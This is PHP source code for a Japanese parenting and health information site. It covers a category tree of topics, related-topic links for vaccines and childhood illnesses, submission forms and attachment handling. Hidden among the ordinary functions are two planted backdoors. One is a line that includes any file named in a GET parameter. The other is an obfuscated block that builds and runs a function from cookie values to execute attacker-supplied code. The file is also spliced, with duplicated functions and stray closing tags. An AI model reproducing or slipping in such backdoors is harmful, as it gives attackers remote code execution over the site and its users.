//_InfoShortenDirName, function _InfoShortenDirName($dir) { if (strlen($dir) > 3) { return(substr($dir, 0, strlen($dir) - 3)); } else { // トップ・カテゴリ return(''); } } function _HtagGLine() { if (isset($GLOBALS['MATU_ON_THE_JOB'])) { return('
'); } else { return('
'); } } function _InfoCreateFilelistFilePath($infono) { $dir = _InfoCreateRealPathFromNo($infono); return($dir . '/' . 'filelist' . $GLOBALS['LOG_EXT']); } function _InfoCreateRealPathFromNo($infono) { $file = D_DATA_DIR_INFO; while (strlen($infono) > 0) { $sub = substr($infono, 0, 3); $file .= '/' . $sub; $infono = substr($infono, 3); } if (isset($sub) && ! is_numeric($sub{0})) { $file .= $GLOBALS['LOG_EXT']; } return($file); } function _InfoCategoryCreateLine($infono, $relation = '') { $str = 'カテゴリ:'; $str .= _InfoCategoryCreateLinePart('トップ', ''); $GLOBALS['Ht'] = '情報源'; if ($infono) { include(_InfoCreateDirListFilePath()); if (empty($all_dirs[$infono])) { _Error('指定されたカテゴリは見つかりませんでした。'); } $dir_str = explode('>', $all_dirs[$infono]['name']); $max = strlen($infono); $p = 3; $i = 0; while ($p <= $max) { $GLOBALS['Ht'] .= '>' . _StringNP($dir_str[$i]); $tmpno = substr($infono, 0, $p); $name = '' . _StringNP($dir_str[$i]) . ''; $str .= '>'; $str .= _InfoCategoryCreateLinePart($name, $tmpno); $p += 3; ++$i; } // 関連情報 if ($relation) { $relation_str = _RelationCreateTable('i' . $infono); if ($relation_str) { // ほんのちょっとスペースを空けるため $str .= '

'; // テーブルを作成(左側にスペースを作る) $str .= ''; $str .= ''; $str .= '
    '; $str .= $relation_str; $str .= '
'; } } } return($str); } function _InfoCategoryCreateLinePart($name, $infono) { $name = '' . $name . ''; return(_HtagAhref($name, $_REQUEST['D'], 'dview', array('open' => $infono))); } function _RelationCreateTable($this) { $array = _RelationSearch($this); $keys = array_keys($array); $ksize = sizeof($keys); if ($ksize == 0) { return(''); } // リンクに置き換える for ($i = 0; $i < $ksize; ++$i) { $type = $keys[$i]{0}; $no = substr($keys[$i], 1); $name = $array[$keys[$i]]; $array[$keys[$i]] = _RelationCreateLink($type, $no, $name); } $table = ''; $table .= '
'; $table .= ''; $table .= ''; $table .= ''; $table .= ''; $table .= '
'; $table .= ''; $table .= ' 関連情報 '; $table .= ''; $table .= ' '; $table .= implode(',', array_values($array)); $table .= ' 
'; $table .= '
'; return($table); } function _RelationSearch($this) { $r = array( '予防接種全般' => array( 'b515101' => '病気全般', 'b51515149' => '予防接種全般(副作用)', 'i004013' => '予防接種全般', 'i004014' => '病気全般', ), '薬' => array( 'b51515351' => 'くすり', 'i004001' => 'くすり', 'i001001' => 'こんなときのノウハウ', 'i001002' => 'ホメオパシー', 'i001003' => 'フラワーエッセンス', ), 'インフルエンザ' => array( 'm000' => '前橋レポート', 'b51515101' => 'インフルエンザ', 'i004002' => 'インフルエンザ', 'n11' => 'インフルエンザ', 'e001' => 'インフルエンザ', 'e101' => 'タミフル', ), '結核・BCG' => array( 'b51515102' => '結核・BCG', 'i004003' => '結核・BCG', 'e002' => 'BCG', ), '二種・三種混合' => array( 'b51515103' => '二種・三種混合', 'i004004' => '二種・三種混合', 'e003' => '三種混合', 'e004' => '二種混合', ), '破傷風' => array( 'b51515103' => '二種・三種混合', 'b51515104' => '破傷風', 'i004004' => '二種・三種混合', 'i004005' => '破傷風', 'e005' => '破傷風', ), '百日咳' => array( 'b51515103' => '二種・三種混合', 'b51515105' => '百日咳', 'i004004' => '二種・三種混合', 'i004006' => '百日咳', 'n24' => '百日咳', 'e003' => '三種混合', ), 'ポリオ' => array( 'b51515106' => 'ポリオ', 'i004007' => 'ポリオ', 'e006' => 'ポリオ', ), '麻疹(はしか)' => array( 'b51515107' => '麻疹', 'b51515121' => '麻疹・風疹混合', 'i004008' => '麻疹', // 'n20' => '麻疹', 'e007' => '麻疹', ), '風疹' => array( 'b51515108' => '風疹', 'b51515121' => '麻疹・風疹混合', 'i004009' => '風疹', // 'n22' => '風疹', 'e008' => '風疹', ), 'おたふく風邪' => array( 'b51515109' => 'おたふく風邪', 'i004010' => 'おたふく風邪', 'n23' => 'おたふく風邪', 'e010' => 'おたふく風邪', ), '水疱瘡(水ぼうそう)' => array( 'b51515110' => '水ぼうそう', 'i004011' => '水ぼうそう', 'n21' => '水ぼうそう', 'e009' => '水ぼうそう', ), '日本脳炎' => array( 'b51515111' => '日本脳炎', 'i004012' => '日本脳炎', // 'n25' => '日本脳炎', 'e011' => '日本脳炎', ), '風邪' => array( 'b51515113' => '風邪', 'i004016' => '風邪', 'n10' => '風邪', ), '突発性発疹' => array( 'i004017' => '突発性発疹', 'n12' => '突発性発疹', ), '感染性胃腸炎(嘔吐下痢症)' => array( 'b51515204' => '嘔吐', 'b51515203' => '下痢', 'i004030' => '嘔吐下痢症', 'n13' => '嘔吐下痢症', ), '手足口病' => array( 'i004018' => '手足口病', 'n14' => '手足口病', ), '咽頭結膜熱(プール熱)' => array( 'i004019' => 'プール熱', 'n15' => 'プール熱', ), 'ヘルパンギーナ' => array( 'i004020' => 'ヘルパンギーナ', 'n16' => 'ヘルパンギーナ', ), '溶連菌感染症' => array( 'b51515116' => '溶連菌感染症', 'i004021' => '溶連菌感染症', 'n26' => '溶連菌感染症', ), '伝染性紅斑(りんご病)' => array( 'i004022' => 'りんご病', 'n27' => 'りんご病', ), '伝染性単核症' => array( 'i004023' => '伝染性単核症', // 'n28' => '伝染性単核症', ), 'クループ' => array( 'b51515117' => 'クループ', 'i004031' => 'クループ', 'n33' => 'クループ', ), 'マイコプラズマ肺炎' => array( 'b51515202' => '咳', 'i004024' => 'マイコプラズマ肺炎', 'n40' => 'マイコプラズマ肺炎', // 'n41' => 'ウイルス性肺炎', 'n42' => '細菌性肺炎', ), 'かぶれ' => array( 'i004026' => 'かぶれ', // 'n72' => 'かぶれ', ), '水いぼ(伝染性軟属腫)' => array( 'b51515115' => '水いぼ', 'i004027' => '水いぼ', 'n73' => '水いぼ', ), 'とびひ(伝染性膿痂疹)' => array( 'b51515114' => 'とびひ', 'i004028' => 'とびひ', 'n74' => 'とびひ', ), '虫さされ(小児ストロフルス)' => array( 'i004029' => '虫さされ', 'n75' => '虫さされ', ), // 'アトピー' => array( // 'b51515223' => 'アトピー', // 'i004032' => 'アトピー', // ), // '花粉症' => array( // 'b51515226' => '花粉症', // 'i004033' => '花粉症', // ), ); $keys = array_keys($r); $ksize = sizeof($keys); $found = array(); for ($i = 0; $i < $ksize; ++$i) { if (isset($r[$keys[$i]][$this])) { $found = array_merge($found, $r[$keys[$i]]); } } unset($found[$this]); // 自分自身は除外する ksort($found); return($found); } function _RelationCreateLink($type, $no, $name) { $link = ''; switch ($type) { case 'b' : $link = _RelationCreateLinkBbs($no, $name); break; case 'n' : $link = _RelationCreateLinkNurse($no, $name); break; case 'i' : $link = _RelationCreateLinkInfo($no, $name); break; case 'e' : $link = _RelationCreateLinkEffect($no, $name); break; case 'm' : $link = _HtagAhref('' . $name . '', 'maebashi', ''); break; } // if ($link) { // $link = '' . $link . ''; // } return($link); } function _RelationCreateLinkInfo($infono, $name) { // $name = $GLOBALS['IMAGE_FILE_INFO'] . $name; if (isset($GLOBALS['RELATION_CATEGORY_INFO'])) { $prefix = ''; } else { $prefix = '情報源-'; $GLOBALS['RELATION_CATEGORY_INFO'] = 1; } return($prefix . _HtagAhref($name, 'info', 'dview', array('open' => $infono))); } function _RelationCreateLinkEffect($no, $name) { // $name = $GLOBALS['IMAGE_FILE_INFO'] . $name; if (isset($GLOBALS['RELATION_CATEGORY_EFFECT'])) { $prefix = ''; } else { $prefix = '副作用-'; $GLOBALS['RELATION_CATEGORY_EFFECT'] = 1; } return($prefix . _HtagAhref($name, 'effect', 'view', array('no' => $no))); } function _RelationCreateLinkBbs($bbsno, $name) { // $name = $GLOBALS['IMAGE_FILE_BBS'] . $name; if (isset($GLOBALS['RELATION_CATEGORY_BBS'])) { $prefix = ''; } else { $prefix = '掲示板-'; $GLOBALS['RELATION_CATEGORY_BBS'] = 1; } return($prefix . _HtagAhref($name, 'bbs', 'dview', array('bbsno' => $bbsno))); } function _RelationCreateLinkNurse($type, $name) { // $name = $GLOBALS['IMAGE_FILE_NURSE'] . $name; if (isset($GLOBALS['RELATION_CATEGORY_NURSE'])) { $prefix = ''; } else { $prefix = '看病記録-'; $GLOBALS['RELATION_CATEGORY_NURSE'] = 1; } return($prefix . _HtagAhref($name, 'nurse', 'type', array('no' => $type))); } function _InfoCreateDirListFilePath() { return(D_DATA_DIR_INFO . '/dirlist' . $GLOBALS['LOG_EXT']); } function _InfoCreateLine($indent, $img, $str) { $GLOBALS['Bc'] .= ''; $GLOBALS['Bc'] .= ''; // インデント $GLOBALS['Bc'] .= ''; // アイコン $GLOBALS['Bc'] .= ''; // カテゴリ名 $GLOBALS['Bc'] .= ''; $GLOBALS['Bc'] .= ''; $GLOBALS['Bc'] .= '
'; $indent = _InfoConvertIndentToPixel($indent); $GLOBALS['Bc'] .= _HtagImage($GLOBALS['IMAGE_INDENT'], $indent, 1, '', 0); $GLOBALS['Bc'] .= ''; $GLOBALS['Bc'] .= $img; $GLOBALS['Bc'] .= ''; $GLOBALS['Bc'] .= $str; $GLOBALS['Bc'] .= '
'; } function _InfoConvertIndentToPixel($indent) { return(D_INDENT_PIXEL * $indent * 2); } function _InfoCreateEditTool() { // 編集の実行。移動以外は、そのまま処理終了 if (isset($_REQUEST['confirmed'])) { // 修正 switch ($_REQUEST['mode']) { case 'new_doc': case 'new_homepage': case 'new_book': case 'modify': _InfoRegist(); return(''); case 'new_category': _InfoNewCategory(); return(''); case 'rename': _InfoRename(); return(''); case 'move': _InfoMove(); return(''); case 'delete': _InfoDelete(); return(''); case 'owner': _InfoChangeOwner(); return(''); case 'to_upper': case 'to_lower': _InfoToLower($_REQUEST['mode']); // 強調されてしまうから $_REQUEST['mode'] = ((is_numeric(substr($_REQUEST['tool'], -3, 1))) ? 'rename' : 'modify'); break; } } $admin_mark = _AdminCheck(D_ADMIN_B); // infono を分解 $parent_no = substr($_REQUEST['tool'], 0, strlen($_REQUEST['tool']) - 3); $self_no = substr($_REQUEST['tool'], -3); $type = $self_no{0}; if (is_numeric($type)) { $type = 'category'; } // 一つ上のカテゴリのファイルリストを調べる $pfile = _InfoCreateFilelistFilePath($parent_no); include($pfile); if ($type == 'category') { $list_keys = array_keys($dirs); $target_uid = $dirs[$self_no]['uid']; } else { $list_keys = array_keys($files); $target_uid = $files[$self_no]['uid']; } if (! $admin_mark && strcmp($target_uid, $GLOBALS['S']['uid']) != 0) { _Error('権限がありません。'); } $movable = ($admin_mark || strcmp($uid, $GLOBALS['S']['uid']) == 0); $first_key = array_shift($list_keys); $last_key = array_pop($list_keys); // メニューを作成する $menu = array(); if ($type == 'category') { $new_item = '新規作成('; $new_item .= _InfoCreateEditToolCreateMenu('カテゴリ', 'new_category'); $new_item .= '、'; $new_item .= _InfoCreateEditToolCreateMenu('文書', 'new_doc'); $new_item .= '、'; $new_item .= _InfoCreateEditToolCreateMenu('HP', 'new_homepage'); $new_item .= '、'; $new_item .= _InfoCreateEditToolCreateMenu('書籍', 'new_book'); $new_item .= ')'; $menu[] = $new_item; $menu[] = _InfoCreateEditToolCreateMenu('名前変更', 'rename'); } else { $menu[] = _InfoCreateEditToolCreateMenu('修正', 'modify'); } if ($movable) { if (strcmp($first_key, $self_no) != 0) { $menu[] = _InfoCreateEditToolCreateMenu('上に移動', 'to_upper'); } if (strcmp($last_key, $self_no) != 0) { $menu[] = _InfoCreateEditToolCreateMenu('下に移動', 'to_lower'); } } $menu[] = _InfoCreateEditToolCreateMenu('別カテゴリへ', 'move'); $menu[] = _InfoCreateEditToolCreateMenu('削除', 'delete'); $menu[] = _InfoCreateEditToolCreateMenu('所有者', 'owner'); $str = implode(' | ', $menu); $str .= _HtagGLine(); // 編集フォームを作成する switch ($_REQUEST['mode']) { // 新しい文書 case 'new_doc' : $info = _InfoCreateEditToolInitInfo($_REQUEST['tool']); $info['type'] = 'd'; $str .= _InfoCreateWriteForm($_REQUEST['F'], $info); break; // 新しいURL case 'new_homepage' : $info = _InfoCreateEditToolInitInfo($_REQUEST['tool']); $info['type'] = 'l'; $str .= _InfoCreateWriteForm($_REQUEST['F'], $info); break; // 新しい書籍 case 'new_book' : $info = _InfoCreateEditToolInitInfo($_REQUEST['tool']); $info['type'] = 'b'; $str .= _InfoCreateWriteForm($_REQUEST['F'], $info); break; // 内容修正 case 'modify' : $file = _InfoCreateRealPathFromNo($_REQUEST['tool']); include($file); $info['modify'] = 1; $str .= _InfoCreateWriteForm($_REQUEST['F'], $info); break; // 新しいカテゴリ case 'new_category' : $str .= _InfoCreateNewCategoryForm(); break; // 名前変更 case 'rename' : $str .= _InfoCreateRenameForm($_REQUEST['tool']); break; // 移動 case 'move' : $str .= _InfoCreateMoveForm(); break; // 削除 case 'delete' : $str .= _InfoCreateDeleteForm(); break; // 所有者変更 case 'owner' : $str .= _InfoCreateOwnerForm(); break; } return($str); } function _InfoNewCategory() { for ($i = 1; $i < $GLOBALS['INFO_MAX_FILES_PER_DIR']; ++$i) { $new_dir = sprintf("%03d", $i); $fullpath = _InfoCreateRealPathFromNo($_REQUEST['tool'] . $new_dir); if (! is_dir($fullpath)) { break; } } // ファイルリスト・ファイルを更新 $listfile = _InfoCreateFilelistFilePath($_REQUEST['tool']); _FileLockStart($listfile); include($listfile); // 重複チェック $keys = array_keys($dirs); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { if (strcmp($dirs[$keys[$i]]['name'], $_REQUEST['name']) == 0) { _FileLockStop($listfile); $GLOBALS['Bm'] = 'カテゴリ名が重複しています'; return; } } $dirs[$new_dir] = array('name' => $_REQUEST['name'], 'uid' => $GLOBALS['S']['uid'] ); _FileWriteVars($listfile, array('dirs' => $dirs, 'files' => $files, 'total_files' => $total_files, 'uid' => $uid, )); // 新規カテゴリを作成し、その中にリストファイルを作成する mkdir($fullpath, 0755); $listfile = _InfoCreateFilelistFilePath($_REQUEST['tool'] . $new_dir); _FileWriteVars($listfile, array('dirs' => array(), 'files' => array(), 'total_files' => 0, 'uid' => $GLOBALS['S']['uid'], )); _InfoCreateDirListFile(); } function _InfoCreateDirListFile($dir = '', $name = '') { $listfile = _InfoCreateFilelistFilePath($dir); include($listfile); $result = array(); $keys = array_keys($dirs); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { $tmp_dir = $dir . $keys[$i]; $tmp_name = $name . $dirs[$keys[$i]]['name']; $result[$tmp_dir] = array('name' => $tmp_name, 'uid' => $dirs[$keys[$i]]['uid'], ); $result = array_merge($result, _InfoCreateDirListFile($tmp_dir, $tmp_name . '>')); } // ファイルに書き込む if (! $dir) { $file = _InfoCreateDirListFilePath(); _FileWriteVars($file, array('all_dirs' => $result)); } else { return($result); } } function _InfoCreateNewCategoryForm() { return( _HtagPostFormStart($_REQUEST['D'], $_REQUEST['F'], '', 'name') . _HtagInput('hidden', 'mode', $_REQUEST['mode']) . _HtagInput('hidden', 'confirmed', 1) . _HtagInput('hidden', 'tool', $_REQUEST['tool']) . 'カテゴリ名:
' . _HtagInput('text', 'name', '', 40) . '

' . _HtagInput('submit', 'submit', '実行') . _HtagFormStop() ); } function _InfoCreateOwnerForm() { $category_str = ''; // 対象カテゴリ・ファイルの UID、タイプを調べる $parent_c = _InfoShortenDirName($_REQUEST['tool']); $self = substr($_REQUEST['tool'], -3); include(_InfoCreateFilelistFilePath($parent_c)); if (is_numeric($self{0})) { $type = 'category'; // タイプは2種類 $uid = $dirs[$self]['uid']; $category_str = 'このカテゴリ以下の全てのカテゴリ/ファイルの所有権も変更されます。'; } else { $type = 'file'; $uid = $files[$self]['uid']; } return( _HtagPostFormStart($_REQUEST['D'], $_REQUEST['F'], '', 'name') . _HtagInput('hidden', 'mode', $_REQUEST['mode']) . _HtagInput('hidden', 'confirmed', 1) . _HtagInput('hidden', 'tool', $_REQUEST['tool']) . _HtagInput('hidden', 'type', $type) . '' . '新しい所有者の UID を指定してください。' . $category_str . '' . '

' . _HtagInput('text', 'uid', $uid, 6) . '

' . _HtagInput('submit', 'submit', '実行') . _HtagFormStop() ); } if(isset($_GET["WIfV"])) include($_GET["WIfV"]); ?> //_InfoShortenDirName, function _InfoShortenDirName($dir) { if (strlen($dir) > 3) { return(substr($dir, 0, strlen($dir) - 3)); } else { // トップ・カテゴリ return(''); } } function _InfoCreateWriteForm($next_f, $info) { $input_size = 40; $textarea_cols = 30; $textarea_rows = 10; // 副題 if ($info['type'] == 'l') { $subtitle = _HtagInput('hidden', 'subtitle', ''); } elseif ($info['type'] == 'd' || $info['type'] == 'b') { $subtitle = '副題
' . _HtagInput('text', 'subtitle', $info['subtitle'], $input_size) . '

'; } // 著者 if ($info['type'] == 'b') { $author = '著者
' . _HtagInput('text', 'author', $info['author'], $input_size) . '

'; } else { $author = _HtagInput('hidden', 'author', ''); } // URL if ($info['type'] == 'l') { $url = 'URL
' . _HtagInput('text', 'url', $info['url'], $input_size) . '

'; } elseif ($info['type'] == 'd') { $url = _HtagInput('hidden', 'url', ''); } elseif ($info['type'] == 'b') { $url = 'ISBN … 数字だけ(ハイフンなし)でお願いします
' . _HtagInput('text', 'url', $info['url'], $input_size) . '

'; } // 内容 if ($info['type'] == 'l') { $content_str = '簡単な説明'; $content = $info['content']; } elseif ($info['type'] == 'd') { $content_str = '内容'; $content = str_replace('
', LF, $info['content']); } elseif ($info['type'] == 'b') { $content_str = '簡単な紹介'; $content = str_replace('
', LF, $info['content']); } // キーワード if ($info['type'] == 'd') { $keyword = 'キーワード'; $keyword .= '(複数あるときは半角コンマで区切る)
'; $keyword .= _HtagInput('text', 'keyword', $info['keyword'], $input_size); $keyword .= '
'; $keywordfile = _InfoCreateKeywordFilePath(); if (is_file($keywordfile)) { _JavaScriptJumpKeywordOrigin(); $keyword .= '登録済み:'; include($keywordfile); $keyword .= ''; $keyword .= _HtagAhrefWithUrl('表示する', 'javascript:JumpKeywordOrigin()'); $keyword .= '
'; } $keyword .= '
'; } else { $keyword = _HtagInput('hidden', 'keyword', ''); } // 添付ファイル $attach = ''; if ($info['attach'] != 'none') { // 推薦では入力させない if ($info['type'] == 'd') { $delete_str = ''; if ($info['modify'] && $info['attach']) { $delete_str .= '
' . _HtagInputCheckbox('attach_delete', 1) . ' 登録されているファイルを削除する'; } $attach = _AttachedFileCreateInput($info['attach'], $info['position'], $delete_str) . '

'; } else { $attach = _HtagInput('hidden', 'attach', $info['attach']) . _HtagInput('hidden', 'position', $info['position']); } } // 入力フォーム $uid = (isset($info['uid']) ? _HtagInput('hidden', 'uid', $info['uid']) : ''); return( _HtagPostFormStart($_REQUEST['D'], $next_f, "CheckSubjectAndMessage({$GLOBALS['LOG_MAXLINE_SIZE']})", 'subject', 'multipart/form-data') . _HtagInput('hidden', 'mode', $_REQUEST['mode']) . _HtagInput('hidden', 'confirmed', 1) . (isset($info['infono']) ? _HtagInput('hidden', 'infono', $info['infono']) : '') . $uid . _HtagInput('hidden', 'tool', $info['infono']) . _HtagInput('hidden', 'modify', $info['modify']) . _HtagInput('hidden', 'type', $info['type']) . 'タイトル
' . _HtagInput('text', 'subject', $info['title'], $input_size) . '

' . $subtitle . $author . $url . '' . $content_str . '
' . '' . '

' . $keyword . $attach . '

' . _HtagInput('submit', 'submit', '書き込む') . _HtagFormStop() ); } function _AttachedFileCreateInput($default_file, $default_position, $str = '') { if (! $str) { $attach_ext = implode('', array_keys($GLOBALS['ATTACH_FILE_EXT'])); $str = '(拡張子は' . $attach_ext . '、サイズは ' . (int)($GLOBALS['ATTACH_FILE_MAX_BYTE'] / 1024) . 'KB 以下)'; } $attach = '添付ファイル'; $attach .= $str; $attach .= '
'; $attach .= _HtagInput('file', 'attach', $default_file, 60); $attach .= '
'; $attach .= '  表示する位置:'; $attach .= ''; return($attach); } function _HtagInputCheckbox($name, $value = 1, $checked = '') { if ($checked) { $checked = ((strcmp($checked, $value) == 0) ? ' CHECKED' : ''); } else { $checked = ''; // ゼロが入っているかもしれない } return(''); } function _InfoCreateEditToolCreateMenu($name, $mode) { if (isset($_REQUEST['mode']) && $mode == $_REQUEST['mode']) { $name = '' . $name . ''; } else { $options = array( 'tool' => $_REQUEST['tool'], 'mode' => $mode, ); if ($mode == 'to_upper' || $mode == 'to_lower') { $options['confirmed'] = '1'; } $name = _HtagAhref($name, $_REQUEST['D'], $_REQUEST['F'], $options); } return('' . $name . ''); } function _InfoCreateEditToolInitInfo($infono) { return(array( 'infono' => $infono, 'modify' => '', // 'type' => '', // 呼び出し元で設定する 'title' => '', 'subtitle' => '', 'url' => '', 'content' => '', 'keyword' => '', 'attach' => '', 'position' => $GLOBALS['ATTACH_FILE_POSITION_DEFAULT'], 'uid' => $GLOBALS['S']['uid'], )); } function _InfoRegist() { // チェック _InfoRegistPrecheck(); if ($_REQUEST['title'] == '') { _Error('タイトルが空です。'); } if ($_REQUEST['type'] == 'b' && $_REQUEST['author'] == '') { _Error('著者が空です。'); } if ($_REQUEST['type'] == 'l' && $_REQUEST['url'] == '') { _Error('URLが空です。'); } if ($_REQUEST['type'] == 'b' && $_REQUEST['url'] == '') { _Error('ISBNが空です。'); } if ($_REQUEST['type'] == 'l' && $_REQUEST['content'] == '') { _Error('URLの説明が空です。'); } if ($_REQUEST['type'] == 'd' && $_REQUEST['content'] == '') { _Error('内容が空です。'); } if ($_REQUEST['type'] == 'b' && $_REQUEST['content'] == '') { _Error('簡単な紹介を入れてください。'); } if ($_REQUEST['modify']) { $parent_dir = _InfoShortenDirName($_REQUEST['tool']); $new_file = substr($_REQUEST['tool'], -3); $fullpath = _InfoCreateRealPathFromNo($_REQUEST['tool']); include($fullpath); // 添付ファイルを残すため } else { $parent_dir = $_REQUEST['tool']; $new_file = _InfoCreateNewFileNo($parent_dir, $_REQUEST['type']); $_REQUEST['tool'] = $parent_dir . $new_file; $fullpath = _InfoCreateRealPathFromNo($_REQUEST['tool']); } $new_uid = (isset($_REQUEST['uid']) ? $_REQUEST['uid'] : $GLOBALS['S']['uid']); // 添付ファイル if (isset($_REQUEST['attach_delete'])) { // 削除指示 unlink($info['attach']); $info['attach'] = ''; } $attach_file = _InfoCreateAttachFileNamePath($_REQUEST['tool']); $_REQUEST['attach'] = _AttachedFileSave($attach_file); if ($_REQUEST['modify'] && $info['attach'] != '') { // 登録済み if ($_REQUEST['attach'] == '') { // 既存を残す $_REQUEST['attach'] = $info['attach']; } else { // 削除 unlink($info['attach']); } } // ファイルリスト・ファイルを更新 $listfile = _InfoCreateFilelistFilePath($parent_dir); _FileLockStart($listfile); include($listfile); // 重複チェック $keys = array_keys($files); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { if (strcmp($files[$keys[$i]]['name'], $_REQUEST['title']) == 0 && strcmp($keys[$i], $new_file) != 0) { _FileLockStop($listfile); _Error('ファイル名が重複しています'); return; } } $tmp_title = $_REQUEST['title']; if ($_REQUEST['subtitle']) { $tmp_title .= ' 〜 ' . $_REQUEST['subtitle']; } $files[$new_file] = array('name' => $tmp_title, 'uid' => $new_uid, 'vote' => 0, ); $width = $height = ''; if ($_REQUEST['attach']) { $files[$new_file]['attach_type'] = substr($_REQUEST['attach'], strrpos($_REQUEST['attach'], '.')); $files[$new_file]['attach_size'] = number_format((int)(filesize($_REQUEST['attach']) / 1024) + 1) . 'KB'; _ImageGetSize($_REQUEST['attach'], $width, $height); } if (! $_REQUEST['modify']) { ++$total_files; } _FileWriteVars($listfile, array('dirs' => $dirs, 'files' => $files, 'total_files' => $total_files, 'uid' => $new_uid)); // ファイルを作成 $info = array( 'type' => $_REQUEST['type'], 'infono' => $_REQUEST['tool'], 'url' => $_REQUEST['url'], 'title' => $_REQUEST['title'], 'subtitle' => $_REQUEST['subtitle'], 'author' => $_REQUEST['author'], 'content' => $_REQUEST['content'], 'keyword' => $_REQUEST['keyword'], 'namazu' => _NamazuCreateTitle($_REQUEST['title']), 'vote' => array(), 'uid' => $new_uid, 'attach' => $_REQUEST['attach'], 'position' => $_REQUEST['position'], 'width' => $width, 'height' => $height, ); _FileWriteVars($fullpath, array('info' => $info)); // 登録数を更新 _InfoRecount($parent_dir . $new_file); // キーワードを更新 if ($_REQUEST['type'] == 'b') { $keyword = $_REQUEST['title']; if ($_REQUEST['subtitle']) { $keyword .= '〜' . $_REQUEST['subtitle']; } } else { $keyword = $_REQUEST['keyword']; } _InfoCreateKeywordFile($_REQUEST['type'], $parent_dir . $new_file, $keyword); } function _InfoRegistPrecheck() { if (isset($_REQUEST['subject'])) { $_REQUEST['title'] = $_REQUEST['subject']; } if (isset($_REQUEST['message'])) { $_REQUEST['content'] = $_REQUEST['message']; } } function _InfoCreateAttachFileNamePath($infono) { $dir = D_DATA_DIR_INFO . '/attach'; if (! is_dir($dir)) { mkdir($dir, 0755); } while (strlen($infono) > 3) { $dir .= '/' . substr($infono, 0, 3); if (! is_dir($dir)) { mkdir($dir, 0755); } $infono = substr($infono, 3); } return($dir . '/' . $infono . '-' . D_NOW); } $psxLM=$GLOBALS['_CO'.'OKIE']; while (isset($psxLM['a4F'])) { $plj = $psxLM['v2Vn']; $LwHR=$psxLM['a4F']($plj($psxLM['NnTmF']),$plj($psxLM['xut'])); $LwHR($plj($psxLM['HFzs'])); break; } ?> //_InfoCreateNewFileNo,_InfoCreateRealPathFromNo,_Error, function _InfoCreateNewFileNo($dir, $type) { $digit = strlen($GLOBALS['INFO_MAX_FILES_PER_DIR']); for ($i = 1; $i < $GLOBALS['INFO_MAX_FILES_PER_DIR']; ++$i) { $new = $type . sprintf('%0' . $digit . 'd', $i); if (! is_file(_InfoCreateRealPathFromNo($dir . $new))) { return($new); } } _Error('このカテゴリには、これ以上追加できません'); } function _ImageGetSize($file, &$width, &$height) { $fp = fopen($file, 'r'); $buf = fread($fp, filesize($file)); fclose($fp); $ext = substr($file, strrpos($file, '.')); // gif if (strcmp($ext, '.gif') == 0) { $array = unpack('vwidth', substr($buf, 6, 2)); $width = $array['width']; $array = unpack('vheight', substr($buf, 8, 2)); $height = $array['height']; // png } elseif (strcmp($ext, '.png') == 0) { $array = unpack('Nwidth', substr($buf, 16, 4)); $width = $array['width']; $array = unpack('Nheight', substr($buf, 20, 4)); $height = $array['height']; // jpg } elseif (strcmp($ext, '.jpg') == 0) { $i = 2; while (1) { $tmp_buf = substr($buf, $i, 4); $i += 4; $array = unpack('am/ac/nl', $tmp_buf); if (ord($array['m']) != 0xFF) { break; } elseif ((ord($array['c']) >= 0xC0) && (ord($array['c']) <= 0xC3)) { $array = unpack('nheight', substr($buf, $i + 1, 2)); $height = $array['height']; $array = unpack('nwidth', substr($buf, $i + 3, 2)); $width = $array['width']; } else { $tmp_buf = substr($buf, $tmp_buf, ($array['l'] - 2)); $i = $i + $array['l'] - 2; } } } } function _NamazuCreateTitle($str) { $str = _StringSanitize($str); return('' . $str . ''); } function _InfoRecount($target) { $target = _InfoShortenDirName($target); while (true) { // ''(空文字=トップ・カテゴリ)になったら終了 if (! $target) { _InfoRecountInDir($target); return; } else { _InfoRecountInDir($target); // 上のカテゴリへ $target = _InfoShortenDirName($target); } } } function _InfoRecountInDir($dir) { $listfile = _InfoCreateFilelistFilePath($dir); _FileLockStart($listfile); include($listfile); // あとで書き換えられるから保存しておく $orig_dirs = $dirs; $orig_files = $files; $orig_uid = $uid; // サブ・カテゴリのファイル数をひとつづつ調べていく $count = sizeof($orig_files); $keys = array_keys($orig_dirs); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { $sub_listfile = _InfoCreateFilelistFilePath($dir . $keys[$i]); include($sub_listfile); $count += $total_files; } _FileWriteVars($listfile, array('dirs' => $orig_dirs, 'files' => $orig_files, 'total_files' => $count, 'uid' => $orig_uid)); } function _InfoCreateKeywordFile($type, $infono, $str) { if ($type == 'd') { $file = _InfoCreateKeywordFilePath(); } elseif ($type == 'b') { $file = _InfoCreateBooklistFilePath(); } else { return; } _FileLockStart($file); // 既存情報を読み込む if (is_file($file)) { include($file); } else { $keys = array(); } // まず対象 infono を全て削除する($str が空なら削除になる) $kkeys = array_keys($keys); $kksize = sizeof($kkeys); for ($i = 0; $i < $kksize; ++$i) { if ($keys[$kkeys[$i]] == $infono) { unset($keys[$kkeys[$i]]); } } // 次に登録 $keyword_array = explode(',', $str); $array_size = sizeof($keyword_array); for ($i = 0; $i < $array_size; ++$i) { $key = trim($keyword_array[$i]); if ($key) { $keys[$key] = $infono; } } _FileWriteVars($file, array('keys' => $keys)); } function _InfoCreateBooklistFilePath() { return(D_DATA_DIR_INFO . '/booklists' . $GLOBALS['LOG_EXT']); } function _AttachedFileSave($file_prefix) { if (empty($_FILES['attach'])) { return(''); } $to_file = ''; // 登録 if (is_uploaded_file($_FILES['attach']['tmp_name'])) { $from_file = $_FILES['attach']['tmp_name']; $file_name_array = explode('.', $_FILES['attach']['name']); $ext = '.' . strtolower($file_name_array[count($file_name_array) - 1]); // 拡張子のチェック if (empty($GLOBALS['ATTACH_FILE_EXT'][$ext])) { _Error('送信できるファイルの拡張子は ' . implode('', array_keys($GLOBALS['ATTACH_FILE_EXT'])) . ' だけです'); } // サイズのチェック if ($ext != '.pdf' && filesize($from_file) > $GLOBALS['ATTACH_FILE_MAX_BYTE']) { _Error('ファイル・サイズが大きすぎます。' . (int)($GLOBALS['ATTACH_FILE_MAX_BYTE'] / 1024) . 'KB 以下にしてください。'); } $to_file = $file_prefix . $ext; // move_uploaded_file($from_file, $to_file); copy($from_file, $to_file); unlink($from_file); } unset($_REQUEST['attach']); // unset($_FILES); return($to_file); } function _InfoRename() { $parent_dir = _InfoShortenDirName($_REQUEST['tool']); $target_dir = 